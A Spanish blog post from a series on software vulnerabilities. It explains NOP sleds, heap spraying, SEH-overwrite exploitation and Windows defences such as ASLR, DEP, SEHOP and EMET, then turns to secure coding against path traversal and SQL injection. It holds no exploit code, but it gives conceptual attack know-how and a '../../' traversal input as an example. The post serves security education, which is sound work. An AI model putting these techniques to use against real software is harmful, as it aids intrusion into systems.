  • Ventanas NOP: La instrucción NOP en un procesador es la instrucción: “No hacer nada”. Es decir, que el procesador la ejecuta y pasa a la siguiente sin que nada haya pasado. Aunque parezca una instrucción sin importancia es de echo de las instrucciones con más importancia en un procesador, y de las más usadas por cierto. Sirve por ejemplo para consumir/controlar el tiempo, abrir ventanas en el código sin afectar en nada la ejecución del mismo…. Y en este caso es una de las instrucciones favoritas para los Hackers, puesto que como no hace nada, no hay riesgo de que el sistema objetivo pueda fallar simplemente por inyectarlas. Pues bien, la técnica de las ventanas NOP es simple, se trata de ocupar el tamaño máximo posible de memoria (que permita por supuesto siempre el exploit y la aplicación) con un código que haga que si logramos enviar el EIP a alguna de las posiciones de memoria que estamos ocupando, nuestro código malicioso se ejecutará a la perfección. Esto es de total importancia a la hora de tener éxito en un exploit de ejecución remota. Si conocemos perfectamente la ubicación de nuestro código y podemos controlar el EIP es fácil, tan solo tendremos que enviarlo a la posición exacta en la cual tenemos nuestro código. ¿Pero qué pasa si por culpa de ASLR u otras penurias esto no es posible? Entonces el problema se ataja por otro lado, si no podemos conocer la ubicación exacta de nuestro código inyectado, hagamos que tengamos la mayor probabilidad posible de que nuestro código se ejecute. ¿Qué probabilidad tendríamos en acertar una posición de memoria en un sistema de 32 bits?? Muy pocas, 1 entre 4,3 mil millones, y en sistemas de 64 bits mejor ni hablar. Pero sabemos que ASLR quita algunos bits, lo cual en sistemas de 32 bits la probabilidad se reduce hasta 1 entre 16,7 millones. Aun así, sería cuanto menos peligroso y complicado tener en un tiempo prudencial la posición exacta de memoria simplemente “probando” una tras otra (que a fin de cuenta es lo que hace el brutefore). Aquí es donde entran las ventanas NOP. Imaginar que podemos colocar en memoria la friolera de 1024K bytes (es decir, 1024 posiciones de memoria). En realidad lo que necesitamos ejecutar como vimos en el shellcode son unos escasos bytes, tan solo 314 bytes en el caso que vimos!! Eso nos deja con un gran montón de espacio que podríamos rellenar… ¿con qué? Con operaciones NOP por supuesto. Cojamos las 1024K posiciones de memoria que podemos inyectar, y coloquemos en el medio nuestro shellCode. Rellenemos ahora el resto superior con instrucciones NOP, y el resto inferior con instrucciones NOP excepto las últimas posiciones que lo que realizamos es una instrucción de salto al inicio de nuestra ventana. Ahora, si el EIP es enviado a cualquier parte de nuestra ventana NOP, nuestro shellcode será ejecutado!! Si la dirección de memoria cae en la parte superior, se comenzarán a ejecutar instrucciones NOP hasta comenzar el shellcode, mientras que si cae por la parte inferior sucederá lo mismo hasta llegar al salto, que comenzará con la parte superior hasta acabar en el shellcode. En este caso, no tendríamos ahora 1 probabilidad entre 16,7 millones, sino de 1024K a 16,7 millones. Es decir, 1024K = 1M = 1048576 -> 2^24/1M = 16!! Tendremos 1 probabilidad entre 16 de dar con una posición que nos sirva!! Evidentemente esto sí que es factible, tardaríamos segundos en tener éxito!! De nuevo esto es factible en sistemas de 32 bits, en sistemas de 64 bits en el mismo escenario no tendríamos 1 entre 16, sino 1 entre 67 mil millones aproximadamente, algo bastante más complejo y complicado de lograr.
  • Heap Spraying: Su funcionalidad es más que nada la de complementar las ventanas NOP, o mejor dicho, las ventanas NOP complementan la técnica del Heap Spraying, aunque su utilidad no solo se traduce a las ventanas NOP. Heap Spraying es inyectar la máxima cantidad de datos en el heap para aumentar el uso de memoria usada por el proceso, de este modo dichas posiciones de memorias dejarán de ser posiciones de memorias no válidas. Evidentemente para que esto sea posible, la vulnerabilidad debe de permitir este suceso, de lo contrario no habría caso. Esto como vemos es la antesala de las ventanas NOP, en las que en dicho caso particular se rellenaría ese gran fragmento del heap con instrucciones NOP y el shellcode.

     

De nuevo, ASLR es actualmente un campo de guerra en el que tanto expertos en seguridad como hackers luchan a diario para lograr técnicas más efectivas para saltarse ASLR, mientras que las otras medidas para evitar en lo posible estos ataques. En cualquier caso, lo cierto es que la gran mayoría que se logra circunvalar ASLR es por medio de la llamada a alguna función de alguna librería que en última instancia no ha sido protegida por ASLR. Como ya he dicho, ASLR puede ser una gran defensa, pero no todos los procesos/bibliotecas son aptos para funcionar con ello, y si el sistema obligase de forma total el cargar todo con ASLR, muchos software fallarían. Por poner un ejemplo, los Drivers de ATI si se cargan forzando ASLR, se produciría un BSOD (Blue Screen Of Death… dicho de otro modo, pantallazo azul y no arranca el sistema). Esto es un fallo tanto de ATI como de ASLR en sí mismo, dado que muchos programas requieren de posiciones fijas en memoria, y ASLR lo impide. Pero aun cuando se forzase totalmente ASLR en todo el sistema para absolutamente TODO, esto tampoco impediría que un hacker lograse un exploit, eso sí… sería más complicado.

ASLR se complementa a la perfección con DEP dada la función de cada una de las medidas. De hecho, un sistema con una implementación perfecta de ASLR fallaría estrepitosamente sin una perfecta implementación de DEP, y lo mismo al revés. Esto ha sido muy criticado (y lo continúa siendo) en la comunidad MAC, en la que Apple no termina de implementar correctamente ambas tecnologías, lo que hace que crear un exploit para MAC OS sea infinitamente más sencillo y rápido que hacerlo para Windows, en el que cada día que pasa es más complicado realizar esta tarea, convirtiéndose actualmente en algo reservado tan solo para unas pocas mentes privilegiadas (siempre que el OS esté bien configurado por supuesto)

 

Structured Exception Handler Overwrite Protection (SEHOP)

 Esta funcionalidad es exclusiva de Windows, aunque también es cierto que es la plataforma donde la vulnerabilidad implicada (SEH) se hizo “famosa”. Esto no quiere decir que otros OS no puedan ser vulnerables a este tipo de problemas, solo que ha sido en Windows donde han visto la luz de forma mayoritaria. De nuevo es lógico, Windows posee una penetración de más de un 90%, por tanto es la plataforma más castigada. A un hacker no le compensa atacar MAC OS si lo que desea es lograr una bot net!! En cambio, ante ataques dirigidos la cosa es totalmente diferente. Como he dicho, SEHOP es un sistema de defensa de Windows ante los ataques y exploits de los hackers que hacen uso de la técnica de SEH para lograr ejecución de código arbitrario. Es más, un gran porcentaje de todos los exploits actuales contra Windows (10%-20%) hacen uso de SEH para lograr sus fines, es decir, SEH actualmente es una d las armas muy bien conocidas por los hackers en su muy variado y variopinto de su arsenal. Así que antes de explicar que es ó que hace SEHOP hay que explicar brevemente en que consiste un ataque que hace uso de SEH, dado que al contrario que otras vulnerabilidades que hemos visto, esta no la vamos a ver en detalle en otros capítulos, por ser más que nada una técnica en sí y no una vulnerabilidad propiamente dicha, lo mismo sucede con las ventanas NOP, las cadenas ROR, el Heap Sprayin… que son “técnicas” a fin de cuenta, ingenios de los expertos en la materia.

SEH (Structured Exception Handler) es una estructura de datos que controla por así decirlo los errores o excepciones que puede producir un programa. Dicho de un modo simple, cuando el programa experimenta un fallo (generalmente crítico), este es muy posible que esté siendo manejado por SEH. Cuando el fallo o la excepción (que es como se llama más correctamente a este tipo de fallos) se produce, se llama a la rutina encargada de verificar que excepción es la que ha sido lanzada y se compara en una especie de lista de excepciones para conocer cuál ha sido, ejecutándose la rutina asociada a dichas excepciones.

Un hacker podría por tanto, gracias a un desbordamiento de buffer por ejemplo, sobreescribir con una dirección de memoria concreta (donde se encuentran algunas instrucciones clásicas como “pop pop ret”) Cuando la aplicación lanzase una excepción (que podría ser forzada por el propio hacker de varias maneras, el sistema terminaría ejecutando la rutina de excepción modificada por el hacker. Al ejecutarse las instrucciones tipo “pop registro, pop registro, ret”, se estaría logrando tomar el control de la zona de memoria que el hacker quisiese ejecutar, donde previamente el hacker habría colocado su código malicioso (generalmente un shellcode). Estas excepciones las hemos visto alguna vez en un programa, por ejemplo la más “típica” de todas son quizás los “Access Memory Violation” mostrados en un cartel de alerta, incluso muchos desbordamientos de buffer que son detectados.

Evidentemente para que esta técnica tenga utilidad, el software en cuestión debe de estar gestionando los SEH, de lo contrario no habría caso, y de nuevo siempre presuponiendo entornos en los que no existen otras medidas de protección como DEP o ASLR, en cuyo caso primero habría que sortear dichas protecciones.

SEHOP lo que pretende realizar es defenderse ante estas situaciones. Suprimir SEH evidentemente no es viable de ningún modo, son procedimientos y llamadas propias del sistema necesarias para el correcto funcionamiento de todo!! Así que la primera medida que se tomó fue tener la opción en tiempo de compilación de la aplicación con metadatos concretos que una vez en tiempo de ejecución sirven para detectar el uso malicioso de SEH. El problema es el de siempre, muchos programas pueden hacer uso de las mismas técnicas, y si fuesen compiladas de tal modo las aplicaciones no funcionarían correctamente. Por tanto, no todas las medidas pueden ser forzadas obligatoriamente y de forma unánime!! Menos aún en sistemas operativos para usuarios, los cuales son proclives a instalar cualquier tipo de software. Cualquier medida que pueda ser problemática tiene que ser tan solo opcional para el usuario, y por tanto su configuración por defecto tiene que ser muy mirada. Por supuesto que todos los programas de Windows están protegidos por defecto con SEHOP, pero lo que se refiere al software de terceros, deben de ser estos los que decidan si su software usa dichas medidas o no.

En cambio, y como solución genérica, Microsoft si implementa de forma global medidas más suavizadas de SEHOP (aunque de nuevo, Microsoft nos da herramientas para obligar a que todos los programas usen esta tecnología), esta otra medida (diferente a la primera) consiste simplemente en verificar la integridad de la estructura SEH. Cuando un hacker sobrescribe algo en memoria, suele siempre sobrescribir más de la cuenta, nunca suele ser totalmente exacto en su tarea. Dado que SEH es una estructura de datos, generalmente cuando el hacker logra sobrescribir el puntero concreto de una excepción, involuntariamente (y es bastante habitual) sobrescribe la propia estructura de datos adyacente, haciendo que la estructura de datos en cuestión se corrompa. Esto al hacker normalmente no es algo que le importe, a fin de cuenta no pasa nada que la aplicación pueda saltarse algunas instrucciones, siempre por supuesto que la aplicación no se detenga y mientras que se ejecute su código. Pues esta segunda medida de Microsoft lo que hace es verificar que la estructura SEH está intacta antes de que se ejecute alguna excepción. Evidentemente esto no es la solución definitiva, dado que un hacker tan solo tendría que ser más meticuloso y restringir la sobrescritura tan solo a la posición de memoria exacta, de este modo dejar intacta la estructura de datos subyacente.

Una vez más, el juego del ratón y el gato hace que si se ha interpuesto una medida para prevenir que SEH sea usado, existirán retoques a esta técnica para saltarse la protección SEHOP de Microsoft, como hemos visto desde ser más exactos a la hora de sobrescribir una posición de memoria a modificar el código ejecutado en la excepción para lograr el mismo fin que se tenía al principio. Recordemos que los sistemas de “defensa” ante las vulnerabilidades no será nunca impedirlas (eso es imposible), sino complicarlas lo máximo posible para restringir cada vez más el tipo de hacker que pueda lograr dicha tarea. Digamos que hace unos años podrían crear y lanzar un exploit con éxito muchas más personas de las que hoy son capaces. Sí, todos sabemos que seguirán existiendo exploits y hackers que se aprovecharán de ellos (como quedó patente en el Pwn2Own de este año), pero cada vez es más complicado y las técnicas necesarias más sofisticadas.

Aunque de forma más o menos detallada se han comentado protecciones como DEP, ASLR o SEHOP, actualmente existen diversas técnicas que apoyan a estas y a otras para mejorar la seguridad. El problema que suelen tener todas ellas es el mismo, son más fáciles de sortear por un hacker y pueden causar problemas en la ejecución del software. Así por ejemplo tenemos la aplicación de Microsoft EMET que permite forzar algunas de estas medidas, como pueda ser Export Address Table Filtering (EAF), HeapSpray pre-Allocation (HPA), NullPage pre-Allocation (NPA)… todas ellas con la intención de salvaguardar en la medida de lo posible al OS contra la ejecución de código arbitrario, por ser la mayor amenaza siempre.

 

Saneamiento del código y compiladores actuales

 Hasta ahora hemos visto medidas desde el punto de vista del usuario, pero no desde los programadores. Además, todas las medidas anteriores vienen a evitar en lo posible las ejecuciones de código arbitrario (quitando las actualizaciones), pero no se ha dicho nada de cómo evitar otro tipo de vulnerabilidades como las inyecciones SQL y demás. Esto depende en última instancia de los programadores, con lo cual es un problema para el usuario final, ya que tiene que fiarse de estos. Lo cual por cierto es mucho fiarse, puesto por muy profesionales que sean los programadores, no son perfectos y es muy normal que se le escapen algunos flecos.

Lo primero y principal por tanto es usar siempre compiladores actualizados y decentes. Esto es esencial. Cuanto más sofisticado sea el compilador, no solo teóricamente podrá crear un código más eficiente, sino que en tiempo de compilación y link podrá realizarle una medida de chequeos y pruebas que garanticen el funcionamiento correcto del programa, o al menos todo lo correcto que pueda ser. Actualmente las pruebas más comunes son sin duda alguna verificar que no se puedan producir desbordamientos de buffer o de stack, que podrían permitir la existencia de una vulnerabilidad que pusiese en jaque al programa y en última instancia a todo el sistema. En teoría el programador tendría que tener la experiencia y la habilidad necesaria para saber que estructuras puede crear y que prácticas tiene que evitar a toda costa para evitar este tipo (y otros tipos) de malas costumbres en la programación que terminan con vulnerabilidades clásicas. Lo que sucede es que ya sea por la torpeza o el descuido de los programadores, nunca está de más darle una herramienta que compruebe por él este tipo de chequeos comunes.

Otra de las comprobaciones que se suelen realizar es la verificación de que no se queden punteros sueltos pululando por el código, lo cual podría ser totalmente nefasto si un hacker da con uno de ellos, son potencialmente peligrosos, y su solución en realidad es simple, simplemente, o destruirlos o asignarles un valor null una vez que se dejan de usar para evitar que estén apuntando a zonas de memorias que podrían ser perjudiciales para la aplicación, como por ejemplo la misma pila de esta. De nuevo el problema está en que este tipo de prácticas no se les suele enseñar a los programadores de proyectos de menor importancia o de menor grado. La consecuencia es evidente, encuentras muchísimo software vulnerable en la red, sobre todo aquel software que no tiene una empresa realmente fuerte por detrás. Es decir, sería muy muy complicado (posible, pero complicado) encontrar un puntero suelto en el código de Windows, pero en contra partida sería bastante simple encontrarlo en el código de por ejemplo un software que crea el gobierno español para cualquier fin. Por eso el uso de compiladores modernos es esencial, ya que se cae en muy malas prácticas, estos compiladores al menos atenúan el riesgo en la medida de lo posible.

Al igual que es necesario tener buenas prácticas de programación en lenguajes de alto nivel como C/C++ y el uso de buenos compiladores, es también necesario tener un especial cuidado con lenguajes web tipo PHP, ASP, Ruby, JavaSript, Perl, Pyton… a la hora de crear aplicaciones web o portales o cualquier contenido en general. Al igual que tenemos los problemas constantes de los desbordamientos de buffer en el software de PC, es muy normal cometer errores en el saneamiento del código en los lenguajes de programación nombrados (a partir de ahora PHP por abreviar). Este tipo de lenguajes no solo son ejecutados en el equipo servidor que hospeda la web, sino que además generan de forma dinámica el contenido HTML que nos es mostrado. Estos lenguajes suelen ser bastante puñeteros a la hora de manejar caracteres especiales. Por ejemplo, si creamos un formulario web en el que tenemos un solo campo para introducir un número, las buenas prácticas siempre nos harán en la medida de lo posible ya sea con JS o por PHP impedir que en dicho campo se pueda introducir otro carácter que no sea un número. En este caso a lo mejor no tiene una importancia en mayúscula, pero si en vez de ser un número de teléfono fuera por ejemplo el campo en el que especificamos un nombre de usuario para enviarnos a nuestro perfil tipo “http://host.com/perfiles/nustroperfil”, y dicho campo no verificase correctamente los caracteres de barras y puntos, podríamos poner un nombre de usuario como por ejemplo “../../”, por tanto se podría producir un path traversal cuando dicho usaurio quisiese visitar su perfil, y en vez de ello tendría acceso a lo mejor al directorio raíz del servidor. Esto que parece un poco tonto es un error muy muy común.

Es por ello que suele ser mucho más simple de cara a un programador usar siempre políticas de listas blancas en vez de listas negras. Esto quiere decir que en vez de usar listas de caracteres no permitidos, es siempre mucho mejor establecer listas de los únicos caracteres permitidos, así es más simple que no quede algún cabo suelto. Esto es totalmente extrapolable a SQL, el cual no es extraño verlo sufrir por problemas similares. Un mal saneamiento de los caracteres puede producir que se logre un ataque de SQL injectiion, el cual podría darnos acceso a toda la base de datos del servidor atacado. Una vez más, la solución es la misma, saneamiento y más saneamiento, y cuando se crea que se han tomado todas las medidas posibles, poner la aplicación web o el código a pruebas para comprobar si realmente es inmune, al menos a los ataques más comunes.

Seguridad: Vulnerabilidades. Índice (Actualizado 14/08/11)

Bienvenidos al tema de hoy: Vulnerabilidades, el arte del Hacker

 
 

La ingeniería social, el malware, el Spoofing, el Sniffing… armas al alcance de prácticamente cualquier usuario que quisiese adentrarse en ese “lado oscuro” de Internet. Armas muy efectivas prácticamente contra la totalidad de los sistemas informáticos pero…. todas ellas fácilmente evitables por cada usuario, ya sea con una buena educación informática, ya sea usando los sistemas de encriptación/cifrado disponibles, ya sea con el uso de Antivirus… La figura del Hacker en contra, no es alguien que crea un virus para intentar convencer al usuario para que lo ejecute (que también puede hacerlo), sino una personas que tiene un conocimiento aun más profundo del software, y que lo usa evidentemente para fines no legítimos.

El verdadero trabajo del Hacker (ya sea de sombrero blanco o negro) reside en comprender perfectamente cada una de las posibles vulnerabilidades que pueda tener cualquier sistema, y lo más difícil e importante, saber como encontrarlas, aprovecharlas y explotarlas. Un Hacker o experto en seguridad no es alguien que lee algo sobre exploits, se descarga dos programas y lanza uno con o sin éxito. Esas personas tienen un nombre: Script Kiddies.

El tema de hoy, no hará a nadie un Hacker, ni la intención de fomentar los delirios de Script kiddies. Simplemente vamos a explicar con toda la profundidad que podamos las verdaderas armas de los hackers, los verdaderos peligros dentro de la informática. No quiere decir que los crackers, los sniffers, los… no valgan para nada o no sean cuestiones a tomar más que en serio, nada más lejos!! lo único que sucede es que en las Vulnerabilidades residen siempre las llaves maestras.

El siguiente índice aun está sujeto a cambios, no estoy seguro de la estructura que tendrá aun:

 
 

  • Desbordamientos de Buffers y Punteros Sueltos
  • SQL Injection y Mail Injection
  • Escaladas de privilegios y Cross-site Scripting (XSS)
  • Path Traveral y Aplicaciones Web
  • Ataques DDoS
  • A rellenar

 
 

Herramientas Utilizadas/Material necesario: (No todo es necesario, dependiendo de la plataforma a usar, de cada sección y de lo que a cada cual le sea más cómodo)

  • Windows 7 SP1 x64 Ultimate -> OS principal (General)
  • Debian Wheezy x64 -> OS secundario (General)
  • Firefox 8.0a1 (General)
  • EMET 2.1 (General)
  • A rellenar…
Volver a arriba

Sobre Mí

Alma Oscura por Theliel is licensed under a Creative Commons Reconocimiento-No comercial-Sin obras derivadas 3.0 Unported License.
Política de Privacidad.
Para otros permisos que puedan exceder el ámbito de esta licencia, contactar en blog.theliel.es/about/contactar.